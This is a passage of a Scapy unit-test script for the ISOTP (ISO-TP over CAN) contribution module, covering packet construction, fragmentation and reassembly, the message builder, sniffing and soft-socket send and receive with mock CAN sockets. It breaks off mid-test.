sockets ~ vcan_socket needs_root linux if "python_can" in CANSocket.__module__: new_can_socket = lambda iface: CANSocket(bustype='socketcan', channel=iface, bitrate=250000, timeout=0.01) new_can_socket0 = lambda: CANSocket(bustype='socketcan', channel=iface0, bitrate=250000, timeout=0.01) new_can_socket1 = lambda: CANSocket(bustype='socketcan', channel=iface1, bitrate=250000, timeout=0.01) = Verify that a CAN socket can be created and closed s = new_can_socket(iface0) s.close() = Check if can-isotp and can-utils are installed on this system ~ linux p1 = subprocess.Popen(['lsmod'], stdout = subprocess.PIPE) p2 = subprocess.Popen(['grep', '^can_isotp'], stdout = subprocess.PIPE, stdin=p1.stdout) p1.stdout.close() if p1.wait() == 0 and p2.wait() == 0 and b"can_isotp" in p2.stdout.read(): p = subprocess.Popen(["isotpsend", "-s1", "-d0", iface0], stdin = subprocess.PIPE) p.communicate(b"01") if p.returncode == 0: ISOTP_KERNEL_MODULE_AVAILABLE = True + Syntax check = Import isotp conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} load_contrib("isotp", globals_dict=globals()) ISOTPSocket = ISOTPSoftSocket + ISOTP packet check = Creation of an empty ISOTP packet p = ISOTP() assert(p.data == b"") assert(p.src is None and p.dst is None and p.exsrc is None and p.exdst is None) assert(bytes(p) == b"") = Creation of a simple ISOTP packet with src p = ISOTP(b"eee", src=0x241) assert(p.src == 0x241) assert(p.data == b"eee") assert(bytes(p) == b"eee") = Creation of a simple ISOTP packet with exsrc p = ISOTP(b"eee", exsrc=0x41) assert(p.exsrc == 0x41) assert(p.data == b"eee") assert(bytes(p) == b"eee") = Creation of a simple ISOTP packet with dst p = ISOTP(b"eee", dst=0x241) assert(p.dst == 0x241) assert(p.data == b"eee") assert(bytes(p) == b"eee") = Creation of a simple ISOTP packet with exdst p = ISOTP(b"eee", exdst=0x41) assert(p.exdst == 0x41) assert(p.data == b"eee") assert(bytes(p) == b"eee") = Creation of a simple ISOTP packet with src, dst, exsrc, exdst p = ISOTP(b"eee", src=1, dst=2, exsrc=3, exdst=4) assert(p.dst == 2) assert(p.exdst == 4) assert(p.src == 1) assert(p.exsrc == 3) assert(p.data == b"eee") assert(bytes(p) == b"eee") = Creation of a simple ISOTP packet with src validation error ex = False try: p = ISOTP(b"eee", src=0x1000000000, dst=2, exsrc=3, exdst=4) except Scapy_Exception: ex = True assert ex = Creation of a simple ISOTP packet with dst validation error ex = False try: p = ISOTP(b"eee", src=0x10, dst=0x20000000000, exsrc=3, exdst=4) except Scapy_Exception: ex = True assert ex = Creation of a simple ISOTP packet with exsrc validation error ex = False try: p = ISOTP(b"eee", src=0x10, dst=2, exsrc=3000, exdst=4) except Scapy_Exception: ex = True assert ex = Creation of a simple ISOTP packet with exdst validation error ex = False try: p = ISOTP(b"eee", src=0x10, dst=2, exsrc=30, exdst=400) except Scapy_Exception: ex = True assert ex + ISOTPFrame related checks = Build a packet with extended addressing pkt = CAN(identifier=0x123, data=b'\x42\x10\xff\xde\xea\xdd\xaa\xaa') isotpex = ISOTPHeaderEA(bytes(pkt)) assert(isotpex.type == 1) assert(isotpex.message_size == 0xff) assert(isotpex.extended_address == 0x42) assert(isotpex.identifier == 0x123) assert(isotpex.length == 8) = Build a packet with normal addressing pkt = CAN(identifier=0x123, data=b'\x10\xff\xde\xea\xdd\xaa\xaa') isotpno = ISOTPHeader(bytes(pkt)) assert(isotpno.type == 1) assert(isotpno.message_size == 0xff) assert(isotpno.identifier == 0x123) assert(isotpno.length == 7) = Compare both isotp payloads assert(isotpno.data == isotpex.data) assert(isotpno.message_size == isotpex.message_size) = Dissect multiple packets frames = \ [b'\x00\x00\x00\x00\x08\x00\x00\x00\x10(\xde\xad\xbe\xef\xde\xad', b'\x00\x00\x00\x00\x08\x00\x00\x00!\xbe\xef\xde\xad\xbe\xef\xde', b'\x00\x00\x00\x00\x08\x00\x00\x00"\xad\xbe\xef\xde\xad\xbe\xef', b'\x00\x00\x00\x00\x08\x00\x00\x00#\xde\xad\xbe\xef\xde\xad\xbe', b'\x00\x00\x00\x00\x08\x00\x00\x00$\xef\xde\xad\xbe\xef\xde\xad', b'\x00\x00\x00\x00\x07\x00\x00\x00%\xbe\xef\xde\xad\xbe\xef'] isotpframes = [ISOTPHeader(x) for x in frames] assert(isotpframes[0].type == 1) assert(isotpframes[0].message_size == 40) assert(isotpframes[0].length == 8) assert(isotpframes[1].type == 2) assert(isotpframes[1].index == 1) assert(isotpframes[1].length == 8) assert(isotpframes[2].type == 2) assert(isotpframes[2].index == 2) assert(isotpframes[2].length == 8) assert(isotpframes[3].type == 2) assert(isotpframes[3].index == 3) assert(isotpframes[3].length == 8) assert(isotpframes[4].type == 2) assert(isotpframes[4].index == 4) assert(isotpframes[4].length == 8) assert(isotpframes[5].type == 2) assert(isotpframes[5].index == 5) assert(isotpframes[5].length == 7) = Build SF frame with constructor, check for correct length assignments p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_SF(data=b'\xad\xbe\xad\xff'))) assert(p.length == 5) assert(p.message_size == 4) assert(len(p.data) == 4) assert(p.data == b'\xad\xbe\xad\xff') assert(p.type == 0) assert(p.identifier == 0) = Build SF frame EA with constructor, check for correct length assignments p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_SF(data=b'\xad\xbe\xad\xff'))) assert(p.extended_address == 0) assert(p.length == 6) assert(p.message_size == 4) assert(len(p.data) == 4) assert(p.data == b'\xad\xbe\xad\xff') assert(p.type == 0) assert(p.identifier == 0) = Build FF frame with constructor, check for correct length assignments p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FF(message_size=10, data=b'\xad\xbe\xad\xff'))) assert(p.length == 6) assert(p.message_size == 10) assert(len(p.data) == 4) assert(p.data == b'\xad\xbe\xad\xff') assert(p.type == 1) assert(p.identifier == 0) = Build FF frame EA with constructor, check for correct length assignments p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FF(message_size=10, data=b'\xad\xbe\xad\xff'))) assert(p.extended_address == 0) assert(p.length == 7) assert(p.message_size == 10) assert(len(p.data) == 4) assert(p.data == b'\xad\xbe\xad\xff') assert(p.type == 1) assert(p.identifier == 0) = Build FF frame EA, extended size, with constructor, check for correct length assignments p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FF(message_size=0, extended_message_size=2000, data=b'\xad'))) assert(p.extended_address == 0) assert(p.length == 8) assert(p.message_size == 0) assert(p.extended_message_size == 2000) assert(len(p.data) == 1) assert(p.data == b'\xad') assert(p.type == 1) assert(p.identifier == 0) = Build FF frame, extended size, with constructor, check for correct length assignments p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FF(message_size=0, extended_message_size=2000, data=b'\xad'))) assert(p.length == 7) assert(p.message_size == 0) assert(p.extended_message_size == 2000) assert(len(p.data) == 1) assert(p.data == b'\xad') assert(p.type == 1) assert(p.identifier == 0) = Build CF frame with constructor, check for correct length assignments p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_CF(data=b'\xad'))) assert(p.length == 2) assert(p.index == 0) assert(len(p.data) == 1) assert(p.data == b'\xad') assert(p.type == 2) assert(p.identifier == 0) = Build CF frame EA with constructor, check for correct length assignments p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_CF(data=b'\xad'))) assert(p.length == 3) assert(p.index == 0) assert(len(p.data) == 1) assert(p.data == b'\xad') assert(p.type == 2) assert(p.identifier == 0) = Build FC frame EA with constructor, check for correct length assignments p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FC())) assert(p.length == 4) assert(p.block_size == 0) assert(p.separation_time == 0) assert(p.type == 3) assert(p.identifier == 0) = Build FC frame with constructor, check for correct length assignments p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FC())) assert(p.length == 3) assert(p.block_size == 0) assert(p.separation_time == 0) assert(p.type == 3) assert(p.identifier == 0) = Construct some single frames p = ISOTPHeader(identifier=0x123, length=5)/ISOTP_SF(message_size=4, data=b'abcd') assert(p.length == 5) assert(p.identifier == 0x123) assert(p.type == 0) assert(p.message_size == 4) assert(p.data == b'abcd') = Construct some single frames EA p = ISOTPHeaderEA(identifier=0x123, length=6, extended_address=42)/ISOTP_SF(message_size=4, data=b'abcd') assert(p.length == 6) assert(p.extended_address == 42) assert(p.identifier == 0x123) assert(p.type == 0) assert(p.message_size == 4) assert(p.data == b'abcd') = Construct ISOTP_packet with extended can frame p = get_isotp_packet(identifier=0x1234, extended=False, extended_can_id=True) print(p) assert (p.identifier == 0x1234) assert (p.flags == "extended") = Construct ISOTPEA_Packet with extended can frame p = get_isotp_packet(identifier=0x1234, extended=True, extended_can_id=True) print(p) assert (p.identifier == 0x1234) assert (p.flags == "extended") + ISOTP fragment and defragment checks = Fragment an empty ISOTP message fragments = ISOTP().fragment() assert(len(fragments) == 1) assert(fragments[0].data == b"\0") = Fragment another empty ISOTP message fragments = ISOTP(b"").fragment() assert(len(fragments) == 1) assert(fragments[0].data == b"\0") = Fragment a 4 bytes long ISOTP message fragments = ISOTP(b"data", src=0x241).fragment() assert(len(fragments) == 1) assert(isinstance(fragments[0], CAN)) fragment = CAN(bytes(fragments[0])) assert(fragment.data == b"\x04data") assert(fragment.flags == 0) assert(fragment.length == 5) assert(fragment.reserved == 0) = Fragment a 4 bytes long ISOTP message extended fragments = ISOTP(b"data", dst=0x1fff0000).fragment() assert(len(fragments) == 1) assert(isinstance(fragments[0], CAN)) fragment = CAN(bytes(fragments[0])) assert(fragment.data == b"\x04data") assert(fragment.length == 5) assert(fragment.reserved == 0) assert(fragment.flags == 4) = Fragment a 7 bytes long ISOTP message fragments = ISOTP(b"abcdefg").fragment() assert(len(fragments) == 1) assert(fragments[0].data == b"\x07abcdefg") = Fragment a 8 bytes long ISOTP message fragments = ISOTP(b"abcdefgh").fragment() assert(len(fragments) == 2) assert(fragments[0].data == b"\x10\x08abcdef") assert(fragments[1].data == b"\x21gh") = Fragment an ISOTP message with extended addressing isotp = ISOTP(b"abcdef", exdst=ord('A')) fragments = isotp.fragment() assert(len(fragments) == 1) assert(fragments[0].data == b"A\x06abcdef") = Fragment a 7 bytes ISOTP message with destination identifier isotp = ISOTP(b"abcdefg", dst=0x64f) fragments = isotp.fragment() assert(len(fragments) == 1) assert(fragments[0].data == b"\x07abcdefg") assert(fragments[0].identifier == 0x64f) = Fragment a 16 bytes ISOTP message with extended addressing isotp = ISOTP(b"abcdefghijklmnop", dst=0x64f, exdst=ord('A')) fragments = isotp.fragment() assert(len(fragments) == 3) assert(fragments[0].data == b"A\x10\x10abcde") assert(fragments[1].data == b"A\x21fghijk") assert(fragments[2].data == b"A\x22lmnop") assert(fragments[0].identifier == 0x64f) assert(fragments[1].identifier == 0x64f) assert(fragments[2].identifier == 0x64f) = Fragment a huge ISOTP message, 4997 bytes long data = b"T" * 4997 isotp = ISOTP(b"T" * 4997, dst=0x345) fragments = isotp.fragment() assert(len(fragments) == 715) assert(fragments[0].data == dhex("10 00 00 00 13 85") + b"TT") assert(fragments[1].data == b"\x21TTTTTTT") assert(fragments[-2].data == b"\x29TTTTTTT") assert(fragments[-1].data == b"\x2ATTTT") = Defragment a single-frame ISOTP message fragments = [CAN(identifier=0x641, data=b"\x04test")] isotp = ISOTP.defragment(fragments) isotp.show() assert(isotp.data == b"test") assert(isotp.dst == 0x641) = Defragment non ISOTP message fragments = [CAN(identifier=0x641, data=b"\xa4test")] isotp = ISOTP.defragment(fragments) assert isotp is None = Defragment exception fragments = [] ex = False try: isotp = ISOTP.defragment(fragments) isotp.show() except Scapy_Exception: ex = True assert ex = Defragment an ISOTP message composed of multiple CAN frames fragments = [ CAN(identifier=0x641, data=dhex("41 10 10 61 62 63 64 65")), CAN(identifier=0x641, data=dhex("41 21 66 67 68 69 6A 6B")), CAN(identifier=0x641, data=dhex("41 22 6C 6D 6E 6F 70 00")) ] isotp = ISOTP.defragment(fragments) isotp.show() assert(isotp.data == dhex("61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70")) assert(isotp.dst == 0x641) assert(isotp.exdst == 0x41) = Check if fragmenting a message and defragmenting it back yields the original message isotp1 = ISOTP(b"abcdef", exdst=ord('A')) fragments = isotp1.fragment() isotp2 = ISOTP.defragment(fragments) isotp2.show() assert(isotp1 == isotp2) isotp1 = ISOTP(b"abcdefghijklmnop") fragments = isotp1.fragment() isotp2 = ISOTP.defragment(fragments) isotp2.show() assert(isotp1 == isotp2) isotp1 = ISOTP(b"abcdefghijklmnop", exdst=ord('A')) fragments = isotp1.fragment() isotp2 = ISOTP.defragment(fragments) isotp2.show() assert(isotp1 == isotp2) isotp1 = ISOTP(b"T"*5000, exdst=ord('A')) fragments = isotp1.fragment() isotp2 = ISOTP.defragment(fragments) isotp2.show() assert(isotp1 == isotp2) = Defragment an ambiguous CAN frame fragments = [CAN(identifier=0x641, data=dhex("02 01 AA"))] isotp = ISOTP.defragment(fragments, False) isotp.show() assert(isotp.data == dhex("01 AA")) assert(isotp.exdst == None) isotpex = ISOTP.defragment(fragments, True) isotpex.show() assert(isotpex.data == dhex("AA")) assert(isotpex.exdst == 0x02) + Testing ISOTPMessageBuilder = Create ISOTPMessageBuilder m = ISOTPMessageBuilder() = Feed packets to machine ff = CAN(identifier=0x241, data=dhex("10 28 01 02 03 04 05 06")) ff.time = 1000 m.feed(ff) m.feed(CAN(identifier=0x641, data=dhex("30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("21 07 08 09 0A 0B 0C 0D"))) m.feed(CAN(identifier=0x241, data=dhex("22 0E 0F 10 11 12 13 14"))) m.feed(CAN(identifier=0x241, data=dhex("23 15 16 17 18 19 1A 1B"))) m.feed(CAN(identifier=0x641, data=dhex("30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("24 1C 1D 1E 1F 20 21 22"))) m.feed(CAN(identifier=0x241, data=dhex("25 23 24 25 26 27 28" ))) = Verify there is a ready message in the machine assert(m.count == 1) = Extract the message from the machine msg = m.pop() assert(m.count == 0) assert(msg.dst == 0x241) assert(msg.exdst is None) assert(msg.src == 0x641) assert(msg.exsrc is None) assert(msg.time == 1000) expected = dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28") assert(msg.data == expected) = Verify that no error happens when there is not enough data m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("04 AB CD EF"))) msg = m.pop() assert(msg is None) = Verify that no error happens when there is no data m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex(""))) msg = m.pop() assert(msg is None) = Verify a single frame without EA m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("04 AB CD EF 04"))) msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst is None) assert(msg.data == dhex("AB CD EF 04")) = Single frame without EA, with excessive bytes in CAN frame m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("03 AB CD EF AB CD EF AB"))) msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst is None) assert(msg.data == dhex("AB CD EF")) = Verify a single frame with EA m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("E2 04 01 02 03 04"))) msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst is 0xE2) assert(msg.data == dhex("01 02 03 04")) = Single CAN frame that has 2 valid interpretations m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("04 01 02 03 04"))) msg = m.pop(0x241, None) assert(msg.dst == 0x241) assert(msg.exdst is None) assert(msg.data == dhex("01 02 03 04")) msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst == 0x04) assert(msg.data == dhex("02")) = Verify multiple frames with EA m = ISOTPMessageBuilder() ff = CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05")) ff.time = 1005 m.feed(ff) m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B"))) m.feed(CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11"))) m.feed(CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17"))) m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D"))) m.feed(CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23"))) m.feed(CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" ))) msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst is 0xEA) assert(msg.src == 0x641) assert(msg.exsrc is 0xEA) assert(msg.time == 1005) assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28")) = Verify multiple frames with EA 2 m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05"))) m.feed(CAN(identifier=0x641, data=dhex("AE 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B"))) m.feed(CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11"))) m.feed(CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17"))) m.feed(CAN(identifier=0x641, data=dhex("AE 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D"))) m.feed(CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23"))) m.feed(CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" ))) msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst is 0xEA) assert(msg.src == 0x641) assert(msg.exsrc is 0xAE) assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28")) = Verify that an EA starting with 1 will still work m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("1A 10 14 01 02 03 04 05"))) m.feed(CAN(identifier=0x641, data=dhex("1A 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("1A 21 06 07 08 09 0A 0B"))) m.feed(CAN(identifier=0x241, data=dhex("1A 22 0C 0D 0E 0F 10 11"))) m.feed(CAN(identifier=0x241, data=dhex("1A 23 12 13 14 15 16 17"))) msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst is 0x1A) assert(msg.src == 0x641) assert(msg.exsrc is 0x1A) assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14")) = Verify that an EA of 07 will still work m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("07 10 0A 01 02 03 04 05"))) m.feed(CAN(identifier=0x641, data=dhex("07 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("07 21 06 07 08 09 0A 0B"))) msg = m.pop(0x241, 0x07) assert(msg.dst == 0x241) assert(msg.exdst is 0x07) assert(msg.src == 0x641) assert(msg.exsrc is 0x07) assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A")) = Verify that three interleaved messages can be sniffed simultaneously on the same identifier and extended address (very unrealistic) m = ISOTPMessageBuilder() ff = CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05")) ff.time = 300 m.feed(ff) # start of message A m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B"))) m.feed(CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11"))) m.feed(CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17"))) ff = CAN(identifier=0x241, data=dhex("EA 10 10 31 32 33 34 35")) ff.time = 400 m.feed(ff) # start of message B m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) sf = CAN(identifier=0x241, data=dhex("EA 03 A6 A7 A8" )) sf.time = 200 m.feed(sf) # single-frame message C m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D"))) m.feed(CAN(identifier=0x241, data=dhex("EA 21 36 37 38 39 3A 3B"))) m.feed(CAN(identifier=0x241, data=dhex("EA 22 3C 3D 3E 3F 40" ))) # end of message B m.feed(CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23"))) m.feed(CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" ))) # end of message A msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst is 0xEA) assert(msg.data == dhex("A6 A7 A8")) assert(msg.time == 200) msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst is 0xEA) assert(msg.src == 0x641) assert(msg.exsrc is 0xEA) assert(msg.time == 400) assert(msg.data == dhex("31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40")) msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst is 0xEA) assert(msg.src == 0x641) assert(msg.exsrc is 0xEA) assert(msg.time == 300) assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28")) = Verify multiple frames with EA from list m = ISOTPMessageBuilder() msgs = [ CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05")), CAN(identifier=0x641, data=dhex("EA 30 03 00" )), CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B")), CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11")), CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17")), CAN(identifier=0x641, data=dhex("EA 30 03 00" )), CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D")), CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23")), CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" ))] m.feed(msgs) msg = m.pop() assert(msg.dst == 0x241) assert(msg.exdst is 0xEA) assert(msg.src == 0x641) assert(msg.exsrc is 0xEA) assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28")) = Verify multiple frames with EA from list and iterator m = ISOTPMessageBuilder() msgs = [ CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05")), CAN(identifier=0x641, data=dhex("EA 30 03 00" )), CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B")), CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11")), CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17")), CAN(identifier=0x641, data=dhex("EA 30 03 00" )), CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D")), CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23")), CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" )), CAN(identifier=0x241, data=dhex("EA 03 A6 A7 A8" )), CAN(identifier=0x241, data=dhex("EA 03 A6 A7 A8"))] m.feed(msgs) assert m.count == 3 assert len(m) == 3 isotpmsgs = [x for x in m] assert len(isotpmsgs) == 3 msg = isotpmsgs[0] assert(msg.dst == 0x241) assert(msg.exdst is 0xEA) assert(msg.src == 0x641) assert(msg.exsrc is 0xEA) assert(msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28")) assert isotpmsgs[1] == isotpmsgs[2] = Verify a single frame without EA and different basecls m = ISOTPMessageBuilder(basecls=Raw) m.feed(CAN(identifier=0x241, data=dhex("04 AB CD EF 04"))) msg = m.pop() assert(msg.load == dhex("AB CD EF 04")) assert(type(msg) == Raw) + Test sniffer = Test sniffer with multiple frames ~ vcan_socket needs_root linux test_frames = [ (0x241, "EA 10 28 01 02 03 04 05"), (0x641, "EA 30 03 00" ), (0x241, "EA 21 06 07 08 09 0A 0B"), (0x241, "EA 22 0C 0D 0E 0F 10 11"), (0x241, "EA 23 12 13 14 15 16 17"), (0x641, "EA 30 03 00" ), (0x241, "EA 24 18 19 1A 1B 1C 1D"), (0x241, "EA 25 1E 1F 20 21 22 23"), (0x241, "EA 26 24 25 26 27 28" ), ] succ = False def sender(args=None): global succ with new_can_socket(iface0) as tx_sock: for f in test_frames: tx_sock.send(CAN(identifier=f[0], data=dhex(f[1]))) succ = True with new_can_socket(iface0) as s: thread = threading.Thread(target=sender) sniffed = sniff(opened_socket=s, session=ISOTPSession, timeout=1, prn=lambda x: x.show2(), started_callback=thread.start, count=1) assert sniffed[0]['ISOTP'].data == bytearray(range(1, 0x29)) assert(sniffed[0]['ISOTP'].src == 0x641) assert(sniffed[0]['ISOTP'].exsrc is 0xEA) assert(sniffed[0]['ISOTP'].dst == 0x241) assert(sniffed[0]['ISOTP'].exdst is 0xEA) thread.join(timeout=5) assert(succ) + ISOTPSocket tests = Single-frame receive cans = MockCANSocket() cans.rcvd_queue.put(CAN(identifier=0x241, data=dhex("05 01 02 03 04 05"))) with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: msg = s.recv() assert(msg.data == dhex("01 02 03 04 05")) assert(cans.sent_queue.empty()) = Single-frame send cans = MockCANSocket() with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: s.send(ISOTP(dhex("01 02 03 04 05"))) msg = cans.sent_queue.get(True, 1) assert(msg.data == dhex("05 01 02 03 04 05")) assert(cans.sent_queue.empty()) assert(cans.rcvd_queue.empty()) = Two frame receive cans = MockCANSocket() with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: ready = threading.Event() exception = None succ = False def sender(): global exception, succ try: cans.rcvd_queue.put(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) ready.set() c = cans.sent_queue.get(True, 2) assert(c.data == dhex("30 00 00")) cans.rcvd_queue.put(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) succ = True except Exception as ex: exception = ex raise ex thread = threading.Thread(target=sender, name="sender") thread.start() ready.wait(timeout=5) msg = s.recv() thread.join(timeout=5) if exception is not None: raise exception assert(succ) assert(msg.data == dhex("01 02 03 04 05 06 07 08 09")) assert(cans.sent_queue.empty()) assert(cans.rcvd_queue.empty()) = 20000 bytes receive data = dhex("01 02 03 04 05")*4000 cans = MockCANSocket() with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: ready = threading.Event() exception = None succ = False def sender(): global exception, succ try: cf = ISOTP(data, dst=0x241).fragment() ff = cf.pop(0) cans.rcvd_queue.put(ff) ready.set() c = cans.sent_queue.get(True, 2) assert(c.data == dhex("30 00 00")) for f in cf: cans.rcvd_queue.put(f) succ = True except Exception as ex: exception = ex raise ex thread = threading.Thread(target=sender, name="sender") thread.start() ready.wait(15) msg = s.recv() thread.join(15) if exception is not None: raise exception assert(succ) assert(msg.data == data) assert(cans.sent_queue.empty()) assert(cans.rcvd_queue.empty()) cans = MockCANSocket() with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: s.send(ISOTP(dhex("01 02 03 04 05"))) = 20000 bytes send data = dhex("01 02 03 04 05")*4000 cans = MockCANSocket() msg = ISOTP(data, dst=0x641) succ = threading.Event() ready = threading.Event() fragments = msg.fragment() ack = CAN(identifier=0x241, data=dhex("30 00 00")) def acker(): ready.set() ff = cans.sent_queue.get(True, 2) assert(ff == fragments[0]) cans.rcvd_queue.put(ack) for fragment in fragments[1:]: cf = cans.sent_queue.get(True, 2) assert(fragment == cf) succ.set() thread = threading.Thread(target=acker, name="acker") thread.start() ready.wait(timeout=5) with ISOTPSoftSocket(cans, sid=0x641, did=0x241) as s: s.send(msg) thread.join(15) succ.wait(2) assert(succ.is_set()) = Create and close ISOTP soft socket with ISOTPSocket(MockCANSocket(), sid=0x641, did=0x241) as s: assert(s.impl.rx_thread.is_alive()) s.close() assert(not s.impl.rx_thread.join(5)) assert(not s.impl.rx_thread.is_alive()) = Verify that all threads will die when GC collects the socket import gc s = ISOTPSocket(MockCANSocket(), sid=0x641, did=0x241) assert(s.impl.rx_thread.is_alive()) impl = s.impl s = None r = gc.collect() impl.rx_thread.join(10) # hope that the GC has made a pass assert(not impl.rx_thread.is_alive()) = Test on_recv function with single frame with ISOTPSocket(MockCANSocket(), sid=0x641, did=0x241) as s: s.ins.on_recv(CAN(identifier=0x241, data=dhex("05 01 02 03 04 05"))) msg = s.ins.rx_queue.get(True, 1) assert(msg == dhex("01 02 03 04 05")) = Test on_recv function with empty frame with ISOTPSocket(MockCANSocket(), sid=0x641, did=0x241) as s: s.ins.on_recv(CAN(identifier=0x241, data=b"")) assert(s.ins.rx_queue.empty()) = Test on_recv function with single frame and extended addressing with ISOTPSocket(MockCANSocket(), sid=0x641, did=0x241, extended_rx_addr=0xea) as s: s.ins.on_recv(CAN(identifier=0x241, data=dhex("EA 05 01 02 03 04 05"))) msg = s.ins.rx_queue.get(True, 1) assert(msg == dhex("01 02 03 04 05")) = CF is sent when first frame is received cans = MockCANSocket() with ISOTPSocket(cans, sid=0x641, did=0x241) as s: s.ins.on_recv(CAN(identifier=0x241, data=dhex("10 20 01 02 03 04 05 06"))) can = cans.sent_queue.get(True, 1) assert(can.identifier == 0x641) assert(can.data == dhex("30 00 00")) cans.close() + Testing ISOTPSocket with an actual CAN socket = Verify that packets are not 